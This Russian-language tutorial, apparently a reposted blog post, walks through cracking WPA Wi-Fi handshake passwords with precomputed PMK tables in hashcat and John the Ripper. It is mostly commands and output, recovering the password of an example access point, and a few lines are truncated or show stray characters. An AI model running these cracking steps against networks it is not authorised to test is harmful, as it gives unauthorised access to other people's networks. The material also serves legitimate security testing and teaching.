Как использовать радужные таблицы для взлома паролей Wi-Fi в Hashcat и John the Ripper. Часть 2

Как использовать радужные таблицы для взлома паролей Wi-Fi в Hashcat и John the Ripper. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Мы использовали программу wlangenpmkocl с опцией -a, что означает вывод plainmasterkeys в файл. У программы есть также опция -A, которая позволяет генерировать файл со строками вида plainmasterkey:ПАРОЛЬ. Создадим такой файл: 

wlangenpmkocl -e RT-WiFi_96 -i rockyou_cleaned.txt -P 1 -D 0 -A pmk.txt

«Небольшой» минус этого формата в том, что с таким файлом не может работать hashcat. Поэтому мы будем использовать такую конструкцию (считывается ФАЙЛ-PMK, из него берётся только PMK без пароля и отправляется по стандартному вводу в hashcat в качестве кандидата) : 

cat ФАЙЛ-PMK | cut -d ':' -f 1 | hashcat -m 2501 ХЕШ 

У меня файл с plainmasterkeys формата plainmasterkey:ПАРОЛЬ имеет имя pmk.txt, хеш, извлечённый из хендшейка, помещён в файл RT-WiFi_96.hash, тогда команда следующая: 

cat pmk.txt | cut -d ':' -f 1 | hashcat -m 2501 RT-WiFi_96.hash 

Опять всё взломано за 0 секунд. 

И опять вместо пароля нам дан хеш: 

24d3f2ab17f5:dcf505807dcd:RT-WiFi_96:f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 

В чём тогда разница? А разница в нашем файле pmk.txt, в котором каждому хешу соответствует его пароль! 

То есть теперь мы выполним команду вида: 

cat ФАЙЛ-PMK | grep 'ПОДОБРАННЫЙ-PMK' 

В ней: 

  •  ФАЙЛ-PMK — это файл с plainmasterkeys, у меня этот файл называется pmk.txt 
  •  ПОДОБРАННЫЙ-PMK — это тот самый plainmasterkey, который мы взломали с помощью hashcat и который находится за названием ТД после двоеточия, в моём случае это f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 

Тогда команда следующая: 

cat pmk.txt | grep 'f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0' 

Вывод: 

f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0:22011995 

То есть найден хеш и соответствующий ему пароль (22011995), который идёт после двоеточия. 

Как в John the Ripper использовать радужные таблицы для взлома Wi-Fi 

В John the Ripper всё очень похоже, рассмотрим два варианта — последовательный взлом PMK и хеша и взлом только одного PMK. 

1-й вариант 

Создаём радужную таблицу командой вида: 

wlangenpmkocl -e ИМЯ-ТД -i СЛОВАРЬ ОПЦИИ-УСТРОЙСТВА -a ФАЙЛ-ВЫВОДА-PMK 

Например: 

wlangenpmkocl -e RT-WiFi_96 -i rockyou_cleaned.txt -P 1 -D 0 -a pmk.txt 

Предыдущая команда по вычислению PMK одинаковая с той, которую мы использовали для Hashcat. Но для конвертации рукопожатия в хеш для John the Ripper команда отличается. Причём программа wpapcap2john (которая конвертирует рукопожатия для взлома по маске или по словарю) не подойдёт для взлома по радужным таблицам. 

Нам нужно использовать программу hcxpcapngtool из пакета hcxtools

Установка в Kali Linux 

sudo apt install hcxtools 

Установка в BlackArch 

sudo pacman -S hcxtools 

Для конвертации рукопожатия в хеш для взлома по радужным таблицам в John используйте команду вида: 

hcxpcapngtool --john=ХЕШ.john РУКОПОЖАТИЕ.pcap 

Пример: 

hcxpcapngtool --john=RT-WiFi_96.john RT-WiFi_96.pcap 

Теперь, когда вычислена радужная таблица и сгенерирован хеш рукопожатия, в john запустим по ней проверку хеша рукопожатия. В качестве словаря нам нужно указать файл с вычисленными PMK, общий вид команды: 

john --format=wpapsk-pmk --wordlist='ФАЙЛ-PMK' ФАЙЛ-ХЕШЕЙ 

Будет выбран формат хеша wpapsk-pmk. Существует также формат хеша wpapsk-pmk-opencl, который отличается тем, что используются вычисления на видеокарте. На самом деле, OpenCL форматы запускаются значительно дольше (несколько секунд), а вычисление даже на wpapsk-pmk выполняется за доли секунды. Поэтому особого смысла указывать опцию --format=wpapsk-pmk-opencl нет. Но просто помните о такой возможности на случай очень больших радужных таблиц. 

Итак, мои plainmasterkeys сохранены в файл pmk.txt, а хеш рукопожатия сохранён в файл RT-WiFi_96.john, тогда команда для поиска по радужной таблице следующая: 

john --format=wpapsk-pmk --wordlist='pmk.txt' RT-WiF

Совпадение найдено, об этом говорит строка: 

1f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 (RT-WiFi_96) 

Если вы что-то пропустили, то взломанный пароль/хеш можно посмотреть командой вида: 

john --format=wpapsk-pmk ХЕШ-ФАЙЛ --show 

В моём случае это: 

john --format=wpapsk-pmk RT-WiFi_96.john --show

Теперь нужно запустить команду вида: 

wlanpmk2hcx -e ИМЯ-ТД -p НАЙДЕННЫЙ-PMK 

В моём случае это команда: 

wlanpmk2hcx -e RT-WiFi_96 -p f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 

Результат: 

Применительно к john, нам дано имя алгоритма: pbkdf2-hmac-sha1 для взлома, а также хеш: 

$pbkdf2-hmac-sha1$4096$52542d576946695f3936$f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 

Предыдущая команда и её вывод нам уже знакомы по разделу с Hashcat. В справке сказано, что можно добавить к ней опцию -j, которая означает, сохранить вывод для john в файл: 

wlanpmk2hcx -e RT-WiFi_96 -p f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 -j forjohn.hash 

Но у меня это не сработало — поэтому просто сохраним приведённый выше хеш в файл forjohn.hash

Теперь нужно запустить команду вида: 

john --format=PBKDF2-HMAC-SHA1-opencl --wordlist='СЛОВАРЬ' ХЕШ-ФАЙЛ 

Вместо формата PBKDF2-HMAC-SHA1-opencl (взлом на видеокарте) можно указать PBKDF2-HMAC-SHA1 (взлом на центральном процессоре). 

У меня словарь имеет имя rockyou_cleaned.txt, а хеш помещён в файл forjohn.hash, поэтому команда следующая: 

john --format=PBKDF2-HMAC-SHA1-opencl --wordlist='rockyou_cleaned.txt' forjohn.hash 

Наконец-то взломан пароль от ТД, это: 22011995 

2-й вариант (пропуск брут-форса plainmasterkey) 

Запускаем wlangenpmkocl с опцией -A

wlangenpmkocl -e RT-WiFi_96 -i rockyou_cleaned.txt -P 1 -D 0 -A pmk.txt 

Теперь нужно запустить команду вида: 

cat ФАЙЛ-PMK | cut -d ':' -f 1 | john --format=wpapsk-pmk --stdin ХЕШ 

Например: 

cat pmk.txt | cut -d ':' -f 1 | john --format=wpapsk-pmk --stdin RT-WiFi_96.john 

Обратите внимание, что опция --wordlist заменена на опцию --stdin, которая означает считывать кандидаты в пароли из стандартного ввода. 

Хеш вновь взломан: 

f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 (RT-WiFi_96) 

В нашем файле pmk.txt каждому хешу соответствует его пароль — это благодаря опции -A, которую мы использовали с программой wlangenpmkocl

То есть теперь мы выполним команду вида: 

cat ФАЙЛ-PMK | grep 'ПОДОБРАННЫЙ-PMK'

В ней: 

  •  ФАЙЛ-PMK — это файл с plainmasterkeys, у меня этот файл называется pmk.txt 
  •  ПОДОБРАННЫЙ-PMK — это тот самый plainmasterkey, который мы взломали с помощью hashcat и который находится перед названием ТД, помещённой в круглые скобки, в моём случае это f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0 

Тогда команда следующая: 

cat pmk.txt | grep 'f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0' 

Вывод: 

1f390e0c3f2fcf6d6ef1f98067631406478ab76c8b04d218d1ce4f5941f16c4e0:22011995 

Найден хеш и соответствующий ему пароль (22011995), который идёт после двоеточия. 

Как по маскам создавать радужные таблицы для взлома Wi-Fi 

Программа wlangenpmkocl вместо опции -i СЛОВАРЬ может получать список кандидатов в пароли из стандартного ввода. То есть следующая команда 

wlangenpmkocl -e ИМЯ-ТД -i СЛОВАРЬ ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK 

полностью эквивалентна этой 

cat СЛОВАРЬ | wlangenpmkocl -e ИМЯ-ТД ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK 

ВНИМАНИЕ: помните о разнице опций -A и -a и выберите ту из них, которая вам подходит. 

По этой причине можно генерировать кандидаты паролей в программах, поддерживающих маски и передавать их на вход wlangenpmkocl

Для вывода кандидатов в пароли с помощью Hashcat используйте опцию --stdout в команде вида: 

hashcat -a 3 --stdout 'МАСКА' | wlangenpmkocl -e ИМЯ-ТД ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK 

Пример: 

hashcat -a 3 --stdout '?d?d?d?d?d?d?d?d' | wlangenpmkocl -e HackWare-AP -P 1 -D 0 -A hackware.pmk 

В этой команде hashcat генерирует пароли по маске ?d?d?d?d?d?d?d?d (пароли из восьми цифр) и из них рассчитываются PMK. 

В качестве альтернативы Hashcat можно использовать Maskprocessor в команде вида: 

maskprocessor 'МАСКА' | wlangenpmkocl -e ИМЯ-ТД ОПЦИИ-УСТРОЙСТВА -A ФАЙЛ-ВЫВОДА-PMK

Пример: 

maskprocessor '?d?d?d?d?d?d?d?d' | wlangenpmkocl -e HackWare-AP -P 1 -D 0 -A hackware.pmk

В John the Ripper помощью опции --stdout вы можете вместо запуска взлома показать создаваемые кандидаты в пароли. 

Команда, аналогичная предыдущим: 

john --stdout --mask='?d' --min-length=8 --max-length=8 | wlangenpmkocl -e HackWare-AP -P 1 -D 0 -A hackware.pmk 

Будущее 

 ZerBea — автор большинства утилит, которые мы использовали в этой инструкции, — планирует написать ещё одну утилиту, которая будет вычислять potfile для hashcat -m 22000. Благодаря этому можно использовать опцию hashcat --show на предварительно вычисленных результатах. Это будет ещё один вариант радужной таблицы. Но в настоящее время у него в приоритетах EAP, SAE (WPA3).

 Источник


Report Page